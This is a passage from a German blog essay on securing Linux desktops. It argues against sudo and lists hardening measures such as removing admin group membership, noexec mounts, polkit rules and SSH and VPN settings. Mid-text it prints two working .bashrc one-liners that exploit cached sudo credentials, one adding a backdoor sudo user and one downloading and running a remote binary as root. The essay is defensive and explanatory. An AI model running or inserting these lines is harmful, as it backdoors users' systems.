geöffnet wurden und dadurch die Schadsoftware im Userspace gestartet wird.
All das passiert gar nicht mal so selten, manchmal vielleicht sogar völlig unbemerkt, oft aber erst dann bemerkt, wenn es schon zu spät ist, aber fast immer mit üblen Auswirkungen. Einen Krypto-/Erpressungs-Trojaner (Ransomware), der all unsere Daten verschlüsselt und nur gegen Lösegeld wieder freigibt, bemerken wir sofort. Ebenso einen Virus, der einfach nur zerstören will. Aber ein durch einen Cyber-Angriff verursachter Schaden muss absolut nicht sofort offenkundig sein, weil vielleicht wirklich gerade eben unsere Daten zerstört oder unbrauchbar gemacht wurden. Wenn unser Server vielleicht Opfer eines Cryptojackings wurde, merken wir das unter Umständen erst mit der Stromabrechnung am Jahresende, für deren unerwartete Höhe möglicherweise unser Server verantwortlich ist, weil er ewig und 3 Tage unter Volldampf und mit hohem Stromverbrauch Berechnungen angestellt hat und die Ergebnisse an die Hijacker über das Internet übertragen hat. Das kostet dann ganz konkret unser eigenes Geld. Und auch dadurch, wenn sich jemand nur Zugang zu unseren Daten verschafft, um damit unsere digitale Privatsphäre zu unterwandern, wird kein offensichtlicher Schaden angerichtet. Dann ist es nur so, dass fremde Menschen oder eine fremde Maschine unser digitales Familien-Leben komplett überwachen… nach dem Motto „Daten sind der Rohstoff dieses Jahrhunderts, Daten sind Geld“ - Datenschutz und die eigene Privatspähre sind damit vollständig abgeschafft. Aber all diesen Schadensfällen ist eines gemeinsam, der Schaden wird fast nie durch aktive oder interaktive Maßnahmen von außen durch das Internet verursacht, sondern überwiegend von innerhalb des eigenen PCs vorbereitet und schließlich ermöglicht. Der Anwender an der Tastatur öffnet die Türen, derer sich dann die ungebetenen Gäste bedienen. Dabei ließe sich diese Gefahr vollständig eliminieren, wenn der Anwender gar nicht erst das Recht hätte, als as-himself neue Programme zu installieren oder Programme zu starten, die nicht regulär von einem Administrator installiert wurden. Und nein, eine solche Beschränkung ist keine wirklich unangenehme Bevormundung… mit ein wenig Disziplin und passender Herangehensweise nimmt man diese Beschränkung überhaupt nicht mehr wahr.
An meine frühere Windowszeit erinnere ich mich, dass viele Windowsprogramme für den fehlerfreien Programmlauf verlangt haben, mit Admin-Rechten gestartet zu werden. Und das bedeutet, das aufgerufene Programm verfügt damit ebenfalls über eine Admin-Berechtigung, mit der es selber zur eigenen Verwendung und nach Belieben Veränderungen am Betriebssystem als solches vornehmen kann, Ausnahmegenehmigungen in die Firewall einzutragen ist damit natürlich auch ganz einfach möglich. Solche Umstände demontieren radikal jeglichen installierten Schutz bis auf die Grundmauern und führen jede andere durchgeführte Maßnahme zum Schutz der digitalen Privatsphäre ad absurdum. Ganz ähnlich ist es bei Linux-Betriebssystemen, wenn ein Linux-Benutzer sich selber mit dem "sudo"-Statement temporär Administrator-Rechte aneignen kann, die dann durch den obligatorischen Default-Timeout von 15 Minuten ebenfalls jederzeit von allen Programmen mit zweifelhaften Absichten verwendet werden könnten, um damit ebenfalls unbemerkt Veränderungen am System oder auch der Firewall durchzuführen.
Um es auf den Punkt zu bringen, wenn Du der Hauptbenutzer Deines PCs bist und Du deswegen selber und mit Deinem eigenen Password autorisiert jederzeit über Adminrechte verfügst oder gar in gewohnter Manier irgendwelche Anwendungs-Programme mit Adminrechten versehen ausführst, dann brauchst Du Dir eigentlich jetzt keine weiteren Gedanken mehr über eine Firewall oder die generelle Sicherheit Deines PCs oder den Schutz Deiner digitalen Privatsphäre zu machen. Ganz besonders dann nicht mehr, wenn Du auch noch Anwendungen aus anonymen Dritt-Quellen oder allgemein proprietäre Software mit dubiosen Nutzungsbedingungen (denen Du ungelesen zugestimmt hast) installiert hast. Unter solchen Voraussetzungen betrachte ich Deinen PC als jetzt schon kompromittiert. Das bringt dann alles eh nix und es täuscht Dir nur eine Sicherheit vor, die Du definitiv nicht hast... der Schutz Deiner Firewall ist damit reines Wunschdenken, weitab von jeder Wirksamkeit.... vergiss es am besten einfach.
Wenn Du bei solchen Rahmenbedingungen bisher mit Deiner Linux-Installation Glück hattest und bis Heute vor Schaden durch virtuelle Angriffe verschont geblieben bist, so solltest Du wissen, dass das ziemlich sicher nicht auf Deine Aktionen zur Herstellung von Sicherheit zurückzuführen ist, sondern das das wirklich nur Glück und ein zufälliges Ergebnis ist. Das liegt mit hoher Wahrscheinlichkeit allein an den Umständen, dass Du vermutlich nicht wichtig genug bist um das Interesse anderer zu wecken, oder das zufällig noch keiner über die Security-Lücken in Deinem System gestolpert ist, oder das Linux-Homeuser-Desktop-Systeme wegen ihrer derzeit weltweit eher geringen Installationsanzahl für die WWW-Crime-Scene aus wirtschaftlicher Sicht schlichtweg zu uninteressant sind, um Energie, Kosten und Entwicklungsaufwand für spezielle Linux-Malware mit ungewissen Erfolgsaussichten zu investieren. Tja, das kann sich aber jederzeit ändern, mit jedem neuen Linux-Enduser-System steigt die Attraktivität, sich auch da Opfer zu suchen. Und mal ganz am Rande bemerkt, unter solchen Umständen gäbe es jetzt sowieso keine Garantien dafür, dass Dein Rechner wirklich nur auf Dich hört… da kann jetzt schon alles mögliche unerwünschte drauf laufen und nach eigenem Ermessen irgendwelche Befehle erteilen, die gehorsamst erledigt werden. Ob jetzt schon jemand fremdes Deine Web-Cam am Laptop bedienen kann und Dein Wohnzimmer beobachtet, oder das Mikrofon und Deine Gespräche mithört, oder einfach nur Deine Daten mitliest… bei solchen Voraussetzungen kann das wirklich niemand ausschließen.
Die erste Prämisse eines Sicherheitskonzeptes, welches ganz am Ende eine auch wirklich wirksame Firewall beinhaltet, ist also die, die festlegt, dass sich kein normaler Benutzer Admin-Rechte aneignen kann, mit denen quasi unter seiner User-ID initiiert und mit seinem eigenen Password autorisiert Veränderungen am System durchgeführt werden können. Kannst Du solche Aufgaben selber und mit Deinen eigenen Berechtigungen leisten, können trickreiche Anwendungen das gleiche nach kurzer Zeit auch. Das bedeutet, um diese Gefahr erfolgreich auszuschließen muss für solche Arbeiten am System stattdessen immer ein spezieller User mit Admin-Account verfügbar sein, der kein normaler PC-Anwender ist und der ausschließlich zur temporären Anmeldung für durchzuführende administrative Arbeiten verwendet wird. Und gleichzeitig ist keinem der normalen Anwender die Möglichkeit gegeben, selber das System zu verändern oder sich weitergehende Rechte anzueignen. Allein damit ist eine hohe Hürde gebaut, die ziemlich effektiv verhindert, dass sich Angreifer einfach unerlaubt der Berechtigungen des normalen Benutzers bedienen.
Genau das ist beispielsweise auch der Default-Zustand einer Debian-Installation, nachdem man mit dem Installer ein Debian-Setup durchgeführt hat. Debian trennt von vornherein die Verantwortungsbereiche zwischen Admin und normale User bereits während der Installation mit dem Hinweis:
"Sie müssen ein Passwort für "root", das Systemadministrator-Konto, angeben. Ein bösartiger Benutzer oder jemand, der sich nicht auskennt und root-Rechte besetzt, kann verheerende Schäden anrichten."
Erst wenn man den darauf folgenden Text des Installers vollständig bis zum Ende durchliest erfährt man, dass man das auch leer lassen kann und das dann "sudo" eingerichtet und der erste Benutzer-Account (UID 1000) der Gruppe sudo hinzugefügt wird. Letztendlich hat man also die Wahl, aber nicht direkt durch gleichrangig auswählbare Optionen, sondern meiner Meinung eher indirekt, weil der Installer selber den Anwender tatsächlich sehr suggestiv in die Richtung konsequenter Trennung von Verantwortlichkeiten mit dem root-Password führt. Am Ende der Installation sieht es im Normalfall dann so aus, dass der Hauptbenutzer nicht selber (also unter seiner UID initiiert und mit seinem Passwort autorisiert) Veränderungen am System durchführen kann, er muss sich dazu vorher ausdrücklich mit dem root-Account anmelden, womit eine explizite Trennung von Anwender und Administrator vollzogen ist.
Den meisten sudo-Usern ist der tatsächlich vorhandene gravierende Unterschied zwischen "sudo" und dem root-Account gar nicht bewusst. Die meisten fühlen sich sogar beruhigt, wenn sie als Mitglied der Linux-Gruppe "sudo" für Änderungen am System vorher einmal ihr eigenes Password eingeben müssen und erkennen dabei nicht die großen Risiken, die genau das mit sich bringt, oder die fade Scheinsicherheit, die das beinhaltet. Um das etwas besser zu verstehen, hilft ein Blick in die Vergangenheit.
https://de.wikipedia.org/wiki/Sudo
"Die erste Version entstand um 1980 an der State University of New York at Buffalo, weil man erkannte, dass viele Studenten Befehle brauchten, die eigentlich nur von Administratoren benutzt werden dürfen, die jedoch keine Gefahr für das existierende System darstellten."
"Sudo (sometimes considered as short for Super-user do) is a program designed to let system administrators allow some users to execute some commands as root (or another user). The basic philosophy is to give as few privileges as possible but still allow people to get their work done. Sudo is also an effective way to log who ran which command and when."
https://searchsecurity.techtar…inition/sudo-superuser-do
"Sudo (superuser do) is a utility for UNIX- and Linux-based systems that provides an efficient way to give specific users permission to use specific system commands at the root (most powerful) level of the system."
Zusammengefasst sind das die für uns relevanten Aussagen: ...die jedoch keine Gefahr für das existierende System darstellten. ...allow some users to execute some commands as root... ...to give specific users permission to use specific system commands at the root... |  |
Der historisch belegte Unterschied zwischen einem Linux-Administrator (root) und einem sudo-berechtigen User ist also ganz einfach:
… der Administrator kann Berechtigungen vergeben, der sudo-User kann das nicht.
… der Admin kann eine System-Konfiguration verändern, der sudo-User kann das nicht.
Zusammenfassend kann man für den tatsächlichen Verwendungszweck "sudo" folgendermaßen feststellen, dass der "Administrator" einem ansonsten unberechtigten User das Recht gibt, einzelne Programme mit root-Rechten auszuführen. Punkt. Das ein normaler User mit der Verwendung von "sudo" selber Berechtigungen vergeben kann und auch noch selber die System-Konfiguriation verändern darf, ist für mich aus Sicht der PC-Sicherheit schlichtweg der größte konzeptionelle Fehlgriff aller Zeiten... ein echter Design-Fehler in einer Linux-Distribution mit der Zielgruppe Desktop-Endbenutzer... womit in dieser Linux-Distribution ein schlimmer und seit langem offen bekannter Fehler von Windows wiederholt wird, der schließlich in einer Linux-Distribution i.ü.S. ein offenes Einfallstor für die Kompromittierung des PCs darstellt.
"echt jetzt ....? .... offenes Einfallstor ....? ....ist das nicht ein wenig übertrieben?"
Tja, die traurige Wahrheit ist, es ist nicht übertrieben. Für diese Behauptung gibt es einige ziemlich schwer widerlegbare Erklärungen … dabei ist auch eine, die mir wegen ihrer Brisanz sogar durchaus ein paar Bauchschmerzen bereitet.
Durch die Verwendung von sudo für grafische Anwendung wird der X-Server hochgradig angreifbar! Alle X-Anwendungen
- haben Zugriff auf alles auf Ihrem Bildschirm
- können sich registrieren, um jeden Tastenanschlag zu empfangen, unabhängig davon, in welchem Fenster die besagten Tastenanschläge eingegeben werden
- können ferngesteuert werden, indem Tastenanschläge gefälscht werden, so als ob der Benutzer sie eingeben würde
Darüber hinaus können folgende unerwünschte Situationen entstehen:
- bei der Beibehaltung des user-eigenen Shell-Environments kann es passieren, dass durch mit sudo gestartete Programme die Rechte für betroffene Konfigurationsdateien im eigenen User-Homedir geändert werden, was ggf. zur Folge hat, dass dem User die Rechte auf eigene Dateien entzogen werden. Das kann durchaus auch zu Datenverlust als unangenehme Konsequenz führen.
- Die X-Server-Option xhost + (um root hinzufügen) kann jede Sicherheit auf dem Bildschirm vollständig deaktivieren
- Mit X.org könnte der Bildschirm effektiv in einen Keylogger verwandelt werden.
Im Homedir eines Linux-Users befindet sich neben anderen immer auch eine Datei namens .bashrc, die jedes Mal automatisch ausgeführt wird, wenn der User ein Terminal ausführt. Die .bashrc enthält anwender-individuelle Anweisungen (bzw. kann enthalten), mit der der User sein Terminal resp. seine Shell individuell konfigurieren kann. Und weil diese .bashrc in seinem Homedir liegt, hat er natürlich auch alle Rechte, diese Datei nach Belieben und eigenem Ermessen mit einem Editor (z.B. nano oder vim) zu verändern. Aber Änderungen in dieser Datei sind natürlich nicht nur mit den Texteditoren nano und vim möglich, man kann auch mit einem einfachen "echo" beliebigen Text oder Statements anfügen. Programme oder beliebige Plugins/Addons irgendwelcher Programme verwenden Open-Write-Close-Funktionen und ändern damit diese .bashrc mit systemnahen Funktionen. Am Ende bedeutet das, wenn der User angemeldet ist, kann also jeder unter der UID des Users laufender Prozess diese .bashrc völlig ungehindert verändern.
Die beiden folgenden Code-Zeilen habe ich zur Bestätigung dieser wirklich großen Sicherheitslücke schon vor längerer Zeit geschrieben und bisher nur hinter vorgehaltener Hand und flüsternd darüber gesprochen. Würde nun ein beliebiges auf Deinem PC installiertes Programm (oder Script, AddOn, PlugIn, Makro) die folgende einzelne wirklich nicht sehr anspruchsvolle Zeile (ohne Zeilenumbruch) einfach an die .bashrc Deines Homedirs anfügen, so hätte das zur Folge, dass automatisch und von Dir völlig unbemerkt beim nächsten Öffnen eines Terminal und der Eingabe eines sudo-Kommandos der User "hook" mit dem Password "cpt" und zugehörig der Gruppe "sudo" angelegt wird. Das bedeutet, diejenige Anwendung, die heimlich diese Änderung in der .bashrc durchgeführt hat, verfügt nun über einen Account und ein Password, mit dem jederzeit Administrator-Rechte erlangt werden können.
[ -z "$(cat /etc/passwd | grep hook)" ] && ( while true;do sleep 60; /usr/bin/sudo -n /bin/true 2>/dev/null;[ $? == 0 ] && sudo useradd -u 888 -M -N -p $(openssl passwd -1 cpt) -G sudo hook;exit;done ) &
Diese zweite gleichermaßen simple und ebenso böse einzeilige Variante, die ganz nebenbei einfach per echo-Befehl an die .bashrc angefügt wird, wartet ebenfalls geduldig darauf, dass Du ein sudo-Kommando eingibst und lädt dann das von mir für diesen Test erstellte Programm malware.bin aus dem Internet herunter, speichert es unter dem harmlosen Namen /usr/local/bin/saveprivacy auf der lokalen Festplatte und führt das Programm sofort mit root-Rechten aus:
echo 'xfile="/usr/local/bin/saveprivacy";[ -f "$xfile" ] || ( while true;do sleep 60; /usr/bin/sudo -n /bin/true 2>/dev/null;[ $? == 0 ] && sudo /usr/bin/wget -q www.thlu.de/Public/malware.bin -O $xfile;sudo /bin/chmod +x $xfile;sudo $xfile;exit;done ) &' >>.bashrc
Das von meinem eigenen Web-Space heruntergeladene Programm hatte für diesen Test natürlich nur einen völlig harmlosen Inhalt, aber es zeigt eindeutig, wohin die Reise gehen kann:
#!/bin/bash
echo "peng - ich habe root-rechte und damit die volle kontrolle, dein rechner gehört mir...."
ps -aux | grep saveprivacy | grep -v grep
exit 0
Ich habe tatsächlich tagelang überlegt, ob man solche Code-Zeilen überhaupt veröffentlichen kann oder sollte, aber diese Sicherheitslücke ist so gravierend und so offensichtlich, dass ich am Ende einfach davon überzeugt war, auf solche Lösungen kommt sowieso jeder, der entsprechende Absichten hat… ‚sudo‘ ist einfach eine pauschale Einladung an jeden digitalen Einbrecher. Und jetzt mal ehrlich, wie oft überprüfst Du Deine .bashrc darauf, ob sie verändert wurde? Faktisch beinhaltet diese Änderung als Konsequenz, dass mein Rechner nun von mir völlig unbemerkt von fremden Interessen übernommen wurde und dass diese Fremden damit Zugriff auf alles haben, was ich am Rechner tue... meine Daten, meine Mails, mein Surfverhalten... es gibt keine Geheimnisse mehr. Soll ich mir an diesem Punkt wirklich noch Gedanken über eine Firewall machen...?... ich denke, eher nicht.
Was ich hier skizziert habe, sind nur zwei böse Möglichkeiten von sehr vielen weiteren. Das entsprechend der sudo-Default-Konfiguration Vorhandensein von temporären Admin-Rechten über eine ganze Viertelstunde lang nach der Verwendung eines sudo-Statements kann für alles mögliche missbraucht werden, um z.B. subversive Programme aus dem Internet nachzuladen und zu installieren, oder Zugriffe auf Hardware wie Web-Cams, Mikrofone oder Datenressourcen auf Netzwerkfestplatten einzurichten... der bösen Fantasie sind hier wirklich keine Grenzen gesetzt. Und all das passiert in absoluter Heimlichkeit und mit großer Wahrscheinlichkeit dauerhaft von mir unbemerkt. Wenn man nicht auf das sudo-Kommando verzichten will und trotzdem die Sicherheit nicht untergraben will, gibt es nur die eine Möglichkeit, den Passwort-Timeout auf 0 zu setzen. Allerdings hat das zur Konsequenz, dass man dann bei jedem sudo-Kommando erneut sein Passwort eingeben muss…. womit sudo natürlich einen Großteil seines Komforts verliert. Aber das sollte jedem klar sein, all das, was den Komfort auf der einen Seite erhöht, senkt mit großer Wahrscheinlichkeit auf der anderen Seite den Security-Level ... und in diesem besonderen Fall meiner Meinung nach katastrophal. Eine zweite und meiner Einschätzung bessere Alternative, wäre das Paket „sudo“ einfach zu deinstallieren und in die .bashrc einen Alias einzutragen
alias sudo="pkexec $@"
Mit diesem Alias wird nicht „sudo“ verwendet, sondern aus dem Policykit der Befehl pkexec, der bei jedem Befehl das Root-Password abfragt und keinen Default-Timeout von 15 Minuten aktiviert hat, wodurch die Sicherheit natürlich schon deutlich verbessert wird. Aber anstatt mehrere Kommandos jeweils mit sudo einzuleiten, was ich sowieso für sehr umständlich halte, schließe ich diese große Sicherheitslücke besser ganz, verzichte auf diesen sudo-Unsinn und wechsel stattdessen mit dem einmaligen Befehl „su“ und nach Eingabe des root-Passwords einfach direkt in den root-Account, um dort mit entsprechender Berechtigung alles notwendige zu tun, um am Ende diese Session mit „exit“ wieder zu verlassen. Und während der Anmeldung als root gilt kompromisslos die Prämisse Ich starte keine GUI-Anwendungen, ich starte keine fremden Scripte und Programme. Dabei gibt es für mich wirklich nur 2 Ausnahmen, und zwar die aus dem Distributionsrepository installierten Programme gparted und synaptic. Und soweit es synaptic angeht, ich persönlich halte das sowieso für verzichtbar und für die deutliche schlechtere Alternative im Vergleich zu apt - aber das muss ein jeder für sich selber entscheiden. Zumindest ist mit dieser Vorgehensweise sicher gewährleistet, dass ich nicht selber irgendeine Schadsoftware ausführe, die anschließend über root-Rechte verfügt oder sich diese aneignen kann. Und die alternative direkte Verwendung des root-Accounts hat hier hingegen immer nur das Ziel und die Ausschließlichkeit, wirklich nur Customizing-Dinge zu tun, die genau diese Berechtigung erfordern. Strikte Trennung ist die Devise, kein Mischmasch mit Berechtigungen zwischen Usern und root, die wirklich nur für unübersichtlichen Mischmasch sorgen. Deswegen enthält die Bash-History der User nur deren banalen Kram, die root-History enthält überhaupt keinen banalen Kram, sondern nur echte Wartungs-Statements.
Was ist notwendig, damit eine Firewall nicht nur so heisst, sondern auch wirklich eine ist?
Kommen wir nun zu einigen markanten und relevanten Punkten von dem, was ich als einfaches Firewall-Konzept betrachte und womit wir die Sicherheit unserer privaten IT oder auch nur unseres persönlichen Rechners signifikant verbessern können. Viele der hier getroffenen Maßnahmen verfolgen im Kern als eigentliche Intention, die IT-Infrastruktur vor der Leichtsinnigkeit, Fahrlässigkeit und auch vor fehlendem Fachwissen der normalen Anwender zu schützen. Die Notwendigkeit zu genau solchen Maßnahmen sollten sich auch die privaten System-Admins bei der immensen Vielfalt an digitalen Gefahren durchaus bewusst machen. Dabei sind sämtliche dieser Punkte relativ einfach umzusetzen, sie erfordern wenig Aufwand, wenig Kenntnisse. Im Grunde genommen erfordern sie nur Vorsatz, Disziplin, Sorgfalt und Kontinuität im eigenen Tun.
 | Kein Anwender (alle folgenden Regeln gelten natürlich auch für mich selber) hat das Recht, unter seiner UID gestartet und mit seinem PWD autorisiert Änderungen an der Konfiguration des Betriebssystems seines PCs vorzunehmen Lösung: Keine Mitgliedschaft in Admin-Groups |
| Kein Anwender kann neue Software installieren und starten, nicht mal in seinem Homedir Lösung: remount von /home, /dev/shm und /tmp mit noexec,nosuid,nodev |
| Kein Anwender hat Ändern-Rechte, die über sein Homedir hinausgehen Lösung: das ist bereits der Default-Zustand bei Debian, also darauf verzichten, keine weiteren Rechte manuell zu setzen |
| Kein Anwender kann die Homedir-Verzeichnisse anderer User öffnen, deren Inhalte lesen oder dort Dateien erstellen oder verändern Lösung: chmod 700 /home/* |
| Kein Anwender kann sich unter seiner UID oder unter Verwendung seines PWD weitergehende Rechte aneignen Lösung: Keine Mitgliedschaft in Admin-Groups |
| Kein Anwender (hier bin ich für alle User/PCs der einzige) kennt das root-Password unserer Client-PCs Lösung: Abweichendes und anspruchsvolles root-Password (in Bezug auf die User-Passwords) |
| Alle explizit notwendigen Ausnahme- bzw. Zusatzrechte für Anwender sind rigoros über Policykit-Rules geregelt Lösung: Explizite Polkit-Rules für einzelne Befehle und bei Bedarf ergänzende individuelle PKLA-Berechtigungen |
| Es werden keine grafischen Anwenderprogramme mit root-Rechten gestartet, insbesondere nicht *Office, Browser, Mal-, Zeichen- und Foto-Editier-Programme, Multimedia-Programme, etc. Lösung: Sofern root-Rechte notwendig sind, auf Text-Apps im root-Terminal beschränken, wie nano, vim, midnight-commander |
| Maschinell angelegte User im System mit einem Default-PWD sind entfernt (z.B. der User pi mit dem PWD raspberry auf einem Raspberry Pi) Lösung: login user pi, set root-Password, adduser NeuerUser, logout user pi, login NeuerUser, switch to root, deluser pi |
| Die unbekannte Wechselwirkung zwischen sudo und Policykit wurde damit beseitigt, indem das Paket sudo auf keinem PC installiert ist bzw. -wenn vorhanden- deinstalliert wurde Lösung: apt purge sudo oder alternativ eine sichere Distribution verwenden, in der sudo kein Default-Feature ist |
| Es ist auf keinem der normalen Client-PCs eine Anmeldung direkt als root per SSH erlaubt. Die Verbindung wird immer zuerst als User etabliert und ist damit zunächst mal „rechtelos“. Der Wechsel zum root-Account erfolgt über das root-Passwort des SSH-Server-Hosts Lösung: /etc/ssh/sshd_config = PermitRootLogin no |
| Notwendige SSH-Anmeldungen ist auf allen Systemen nur mit Password-geschützten Keyfiles möglich. Lösung: /etc/ssh/sshd_config = PubkeyAuthentication yes, PasswordAuthentication no |
| Sofern aus dem Internet unbedingt auch ein SSH-Zugriff erwünscht ist, empfehle ich einen im Router freigegebenen Port >50000, der dann auf Port 22 des SSH-Servers weitergeleitet wird, was hier zur Folge hatte, das Grundrauschen des Internets auf Port 22 deutlich zu reduzieren. Lösung: Explizite Freigabe/Filtereinstellung im Router |
| Ein Zugang von außen aus dem Internet auf das Heimnetz ist hier derzeit nur über OpenVPN möglich. Das bedeutet, es sind auf dem Router neben den 2 VPN-Ports für TCP und UDP keine weiteren Ports geöffnet. Ich verwende auf dem Router für die Freigabe und Weiterleitung Port 443 für TCP und einen unprivilegierten Ports >50000 für UDP, womit auch hier das Rauschen auf dem bekannten Port 1194 deutlich reduziert wird. Die Verwendung von HTTPS/443 ist ein Trick, um eine mögliche Firewall-Sperre von UDP-Ports an öffentlichen Accesspoints zu umgehen. Damit wird verschlüsselter VPN-Traffic auf ein sowieso verschlüsseltes HTTPS-Protokoll aufgelegt und bleibt somit eigentlich unsichtbar. Das beeinträchtigt zwar die Performance, aber ich kann trotzdem mein Netzwerk zuhause erreichen und ggf. meinen Router, um sicher zu surfen. Port 443 betrachte ich als Fallback-Lösung, wenn das primär genutzte UDP gesperrt ist. DPI-Firewalls werden solchen Traffic vermutlich dennoch entdecken können, aber ich denke, die für uns relevanten offenen WLAN-Accesspoints in Restaurants, Hotels, Campingplätzen, City, usw. werden mehrheitlich wohl keine DPI-FWs einsetzen, Lösung: Explizite Freigabe/Filtereinstellung im Router |
| Der Zugang nach draußen ins Internet ist auf einigen besonderen Geräten via Paketfilter reguliert. Meinem Server ist der offene Zugriff aufs Internet verboten, es bestehen lediglich explizite Ausnahmeregeln für Mail (Getmail + Postfix) und VPN. Lösung: Paketfilter mit nftables installieren |
| Keine unnötigen Dienste laufen lassen, bzw. laufende notwendige Dienste auf "localhost" begrenzen |
| Der Browser auf den Client-PCs wird mit einem Script-Blocker scharf reguliert. Lösung: Ublock Origin |
| Allen Non-User-End-Geräten im ganzen LAN ist der Zugriff aufs Internet verboten (IP-Cams, Smart-TVs, Drucker, etc.). Lösung: Einstellung im Router = Zugang zum Internet ist für diese LAN-Clients gesperrt, zugriff auf alle Clients von 'außen' nur via OpenVPN |
| Neue Software, die testweise oder aus Neugier bezüglich der Möglichkeiten und des Nutzens geprüft werden soll, wird zuerst nur in einer VM installiert – gemäß der Prämisse „Never touch a running system“. Auf den produktiven Systemen ist nur tatsächlich benötigte/verwendete Software installiert. Lösung: Libvirt/KVM oder Oracle VirtualBox und dort eine eher anspruchslose Distribution (LXDE) installieren |
| Wenn ich in Ausnahmefällen besondere Software benötige, die entweder im Distributions-Repo gar nicht enthalten ist oder die dort schlichtweg zu alt ist, so verwende ich ausnahmsweise Setup-Pakete direkt von der bekannten und etablierten Projekt-Seite.... und zwar nur von dort, oder eben gar nicht. Ist die Repo-Version nur zu alt, überlege ich jedoch zuerst, ob die aktuelle Version neue Funktionen enthält, die ich wirklich unbedingt benötigte... wenn nicht, reicht mir auch die ältere Version. |
| Es sind kompromisslos alle Erlaubnisse ausgeschlossen, die es fremden und unbekannten Repositories ermöglichen, im Rahmen der regulär durchgeführten Updates/Upgrades Veränderungen an unseren Systemen vorzunehmen, und das schlimmstenfalls auch noch innerhalb eines regelmäßigen Automatismus. |
Gerade die zwei letzten Punkte in der Liste oberhalb sind es aufgrund ihres hohen Gefährdungspotentials wert, durchaus genauer erläutert und beachtet zu werden. Ich selber verzichte konsequent darauf, Dritt-Repos einzurichten und Software von dort zu installieren. Gerade diese Dritt-Repos könnten (was von mir gar nicht nachgeprüft werden kann) durchaus auch dubiose Quellen mit vielleicht subversiven Absichten sein. Welche Auswirkungen die Verwendung von Software aus unbekannten und nicht offiziellen Quellen hat, ist ja durch das Redmonder Betriebssystem und mit Rückblick auf das letzte Jahrzehnt wahrlich hinreichend bekannt. Wenn für ein Fremd-Repository weder bekannt ist, welche Geschäftsziele verfolgt werden, noch wo der Sitz dieses "Unternehmens" ist, wer namentlich die verantwortlichen Personen sind und nach welchen Regeln "Software-Pakete" erstellt werden, ob das öffentlich ist, ob ein Audit die Übereinstimmung mit der Original-Software bestätigt, wer wie kontrolliert Zugang zu deren Systemen hat, dann würde ich von solchen Paketen tunlichst die Finger lassen.
"Was sind Dritt-Repos?" Ganz einfach, das sind all jene Paketquellen, die nicht die Originalquellen der Distribution sind, die faktisch echte Fremdquellen darstellen, welche in ihrer Funktionalität aber dennoch ganz ähnlich den originären Distributions-Repositories zu bedienen sind. In beiden Paketquellen werden im technischen Ablauf einer Programm-Installation durchaus vergleichbar Installationspakete für Programme zur Verfügung gestellt und später die automatischen Updates durchgeführt. Dritt-Quellen bieten meist Installations-Pakete für Software an, die oft noch nicht über das reguläre Distributions-Repository verfügbar sind. Aber manchmal werden auch schon bereits offiziell verfügbare Pakete einfach noch einmal neu gepackt und angeboten. Es wird dabei aus der Original-Software jeweils ein eigenes neues Installationspaket gepackt. Paketquellen werden z.B. bei Debian in der /etc/apt/sources.list angefügt. Andere Distributionen nutzen die ganz ähnlichen ‚Personal Package Archives‘ und fügen mit add-apt-repository ppa:fremdquelle solche Dritt-Quellen hinzu. Die Installation des neuen Programms findet zuerst ganz einfach über apt install {paketname} statt, die spätere Aktualisierung dann ganz automatisch bei einem apt full-upgrade. Da sollte man sich besser mal fragen, ob man das wirklich genau so will.
Der Ablauf zur Software-Installation aus eingetragenen Paketquellen ist also ein deutlich anderer, als der einzelne Download eines Deb-Packages oder eines Tar-Archivs, welches einfach mit dem Browser auf einer Web-Site durchgeführt wird. Ein Deb-Package wird anschließend via dpkg -i {paketname.deb} meist in das Verzeichnis /opt installiert. Bei manchen heruntergeladenen Tar-Archiven ist es nicht mal erforderlich, das Programm mit Hilfe von dpkg über das Paketmanagement zu installieren, es reicht aus, sie einfach an irgendeine Stelle zu entpacken, auf die man Schreib- und Ausführenrechte hat …. ich verwende dafür niemals das User-Homedir, sondern auch /opt, weil User dort keine Schreibrechte haben. Und von dort können sie dann einfach gestartet werden.
Das Dilemma ist, man weiß bei eingetragenen Fremdquellen erstens nie, wie original das ursprüngliche Programm überhaupt noch ist. Zweitens, ob der hoffentlich unbedenkliche Anfangs-Zustand bei späteren Upgrades dann immer noch unbedenklich ist. Und drittens, ob nicht von Anfang an vielleicht doch zusätzliches (unerwünschtes) Material enthalten ist und auf meinem PC installiert wird. Und je besser eine fremde Paketquelle in der Szene oder in der Distributions-Community der Endanwender etabliert ist, je bekannter sie ist, je breiter das Angebot dieser Paketquelle ist, umso größer ist die Plattform, auf der zweifelhafte Erweiterungen an die Masse verteilt werden könnten. Nach meiner Meinung wäre es tatsächlich der einfachste Weg zur Kompromittierung sehr vieler PC-Systeme, bekannte, attraktive und oft gewünschte Software-Pakete den Anwendern zuhause hübsch garniert mundgerecht zu servieren.... quasi als schmackhafter Honeypot, unwiderstehlich und vielleicht von vielen anderen ebenso leichtsinnigen Anwendern auch noch empfohlen…. was quasi den Idealzustand zur Verfolgung „meiner subversiven“ Interessen darstellt. Bedauerlicherweise kann von uns Endanwendern wirklich niemand ausschließen, dass zur Wahrheit eines solchen Paketes vielleicht auch der verschwiegene Transport von potentieller Schadsoftware gehören könnte. Solche Pakete aus faktisch anonymer Quelle können jederzeit auch so etwas wie den Bundestrojaner beinhalten, oder ein Remote-Tool der NSA, oder Spyware der Chinesen, oder der Russen, oder einfach nur eine ordinäre Schadsoftware, oder einen Cryptohijacker…. wirklich alles ist dabei möglich.
Wir wissen es einfach nicht, welche Vorteile es irgendwem bringt oder welche er sich erhofft, bei Bedarf vielleicht die Kontrolle über tausende oder hunderttausende PCs und Kommunikationsgeräte durch vorhandene Trojaner übernehmen zu können, oder was er davon hat, einfach nur das digitale Leben der Menschen zu belauschen. Wer kann mit Gewissheit bestätigen, dass ein solches Fremd-Repo nicht genau für diesen Zweck geschaffen wurde und sich mit professioneller PR in den einschlägigen Internet-Foren einen guten Ruf erschlichen hat? Es muss natürlich nicht so sein, aber es kann sein, wir wissen es einfach nicht… also hat die Installation solcher Pakete durchaus eine ziemlich große Menge mit dem bekannten russischen Roulette gemein, es ist schlichtweg nichts anderes, als die leichtsinnige Teilnahme an einem reinen Glücksspiel, bei der unsere digitale Integrität auf dem Spiel steht. Wer das alles für Verschwörungstheorien hält …?… kein Problem, der soll halt die Augen vor dem in allen EU-Staaten schleichend aufgebauten Lawful Interception verschließen, wie z.B. in unseren Vorzeige-Demokratien Deutschland mit der Quellen-TKÜ, dem Staatstrojaner oder in the fabulous UK mit dem Investigatory Powers Bill. Und er soll meinetwegen auch das von vielen Staaten als vorbildhaft bzw. nachahmenswert eingestufte Social-Credit-System der Chinesen ignorieren. Ich will das alles jedenfalls nicht, mir ist das 